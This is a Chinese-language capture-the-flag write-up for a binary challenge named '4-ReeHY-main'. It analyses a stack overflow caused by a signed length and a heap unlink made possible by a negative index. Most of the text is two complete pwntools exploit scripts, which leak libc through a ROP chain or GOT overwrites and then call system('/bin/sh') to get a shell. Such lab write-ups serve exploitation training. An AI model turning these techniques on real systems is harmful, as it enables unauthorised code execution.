审计IDA代码,发现在create中存在栈溢出、类型转换漏洞。如下:
///栈空间布局
int result; // eax
char buf; // [rsp+0h] [rbp-90h]
void *dest; // [rsp+80h] [rbp-10h]
int index; // [rsp+88h] [rbp-8h]
size_t cin_num; // [rsp+8Ch] [rbp-4h]
1.逻辑漏洞,输入的nbytes可以<=0x1000
2.nbytes使用的eax,也就是四字节。
但在ssize_t read(int fd, void *buf, size_t nbytes)中,size_t 是无符号的,也就意味着,我们可以输入超长字符串。并在此覆盖栈空间。
3.我们必须要覆盖了cin_num,因为memcpy(dest, &buf, cin_num)的三个参数都需要为正常。既然覆盖,那么我们就需要填写上dest、index、cin_num;虽然这里也可以实现任意地址写,但是我们已经可以栈溢出控制程序流程咯。
1.确定栈溢出中,dest、index、cin_num、ret的偏移。
2.找到需要的ROP,如:pop rdi,ret;若没有还有其他方法(这里就不说了)。构造payload,循环程序流程。
3.先泄漏libc地址,再计算出system、binsh的地址。Getshell。
from pwn import *
context.log_level="debug"
p=process("./4-ReeHY-main")
#p=remote("111.198.29.45",39294)
p.recvuntil("$")
p.sendline("kaller 2019")
def add_1(a,b,c):
p.sendline("1")
p.recvuntil("size\n")
p.sendline(str(b))
p.recvuntil("cun\n")
p.sendline(str(a))
p.recvuntil("content\n")
p.send(c)
#--------------------list-------------------
puts_plt=0x00000000004006D0
free_got_addr=0x0000000000602018
read_got_addr=0x0000000000602030
main_call=0x0000000000400C8C
pop_rdi_ret=0x0000000000400da3
#-------------------------------------------
#
p.recvuntil("$")
payload="a"*(8*16)+p64(free_got_addr)+p32(0)+p32(8)+"\x00"*8
payload=payload+p64(pop_rdi_ret)+p64(read_got_addr)+p64(puts_plt)+p64(main_call)
add_1(0,-1,payload)
#-----------------libc_calc------------------
str_1=p.recvuntil("$")
leak_read_addr=u64(str_1[0:6]+"\x00\x00")
leak_system_addr=leak_read_addr-0xb1ec0
leak_binsh_addr=leak_read_addr+0x95b07
print "leak_read_addr=",hex(leak_read_addr)
#--------------------------------------------
#edb_attach()
p.sendline("zhukaikai")
p.recvuntil("$")
payload="a"*(8*16)+p64(free_got_addr)+p32(0)+p32(8)+"\x00"*8
payload=payload+p64(pop_rdi_ret)+p64(leak_binsh_addr)+p64(leak_system_addr)+p64(main_call)
add_1(0,-1,payload)
p.interactive()
1.逻辑漏洞,添加时的index可以为负数。
2.List布局
00000000006020C0 list_size//存放malloc(0x14)_ptr
list_chunk list_isUse
00000000006020E0 malloc()_ptr 0 or 1
---------------- --------- --------
3.我们可以在添加功能中,使index=-2,这样list_size的内容就被我们任意控制,堆溢出。
4.既然实现了堆溢出,那么利用Unlink漏洞就可以实现任意地址写。
from pwn import *
import os
context.log_level="debug"
p=process("./4-ReeHY-main")
#p=remote("111.198.29.45",39294)
p.recvuntil("$")
p.sendline("kaller 2019")
p.recvuntil("$")
def add_1(a,b,c):
p.sendline("1")
p.recvuntil("size\n")
p.sendline(str(b))
p.recvuntil("cun\n")
p.sendline(str(a))
p.recvuntil("content\n")
p.send(c)
#set LD_PRELOAD="./libc.so.6"
def del_1(a):
p.sendline("2")
p.recvuntil("dele\n")
p.sendline(str(a))
def edit_1(a,b):
p.sendline("3")
p.recvuntil("edit\n")
p.sendline(str(a))
p.recvuntil("content\n")
p.send(b)
#--------------------list-------------------
puts_plt=0x00000000004006D0
free_got_addr=0x0000000000602018
read_got_addr=0x0000000000602030
main_call=0x0000000000400C8C
pop_rdi_ret=0x0000000000400da3
chunk_list_addr=0x006020e0
#-------------------------------------------
add_1(0,0x120,"a")
p.recvuntil("$")
add_1(1,0x120,"a")
p.recvuntil("$")
add_1(-2,0x50,p32(0x200)+p32(0x200))#控制list_size
p.recvuntil("$")
fake_chunk=p64(0)+p64(0)+p64(chunk_list_addr-0x18)+p64(chunk_list_addr-0x10)
payload=fake_chunk+('a'*(0x100))+p64(0x120)+p64(0x130)
edit_1(0,payload)#伪造堆块
p.recvuntil("$")
del_1(1)#触发Unlink()
p.recvuntil("$")
#这里已经可以任意地址写了。
payload="\x00"*0x18+p64(free_got_addr)+p64(1)+p64(read_got_addr)+p64(1)#写地址、
edit_1(0,payload)
p.recvuntil("$")
edit_1(0,p64(puts_plt))#写内容
p.recvuntil("$")
del_1(1)#泄漏read got中地址
#-----------------libc_calc------------------
str_1=p.recvuntil("$")
leak_read_addr=u64(str_1[0:6]+"\x00\x00")
leak_system_addr=leak_read_addr-0xb1ec0
leak_binsh_addr=leak_read_addr+0x95b07
print "leak_read_addr=",hex(leak_read_addr)
#--------------------------------------------
edit_1(0,p64(leak_system_addr))
add_1(2,0x50,"/bin/sh\x00")
p.recvuntil("$")
del_1(2)
p.interactive()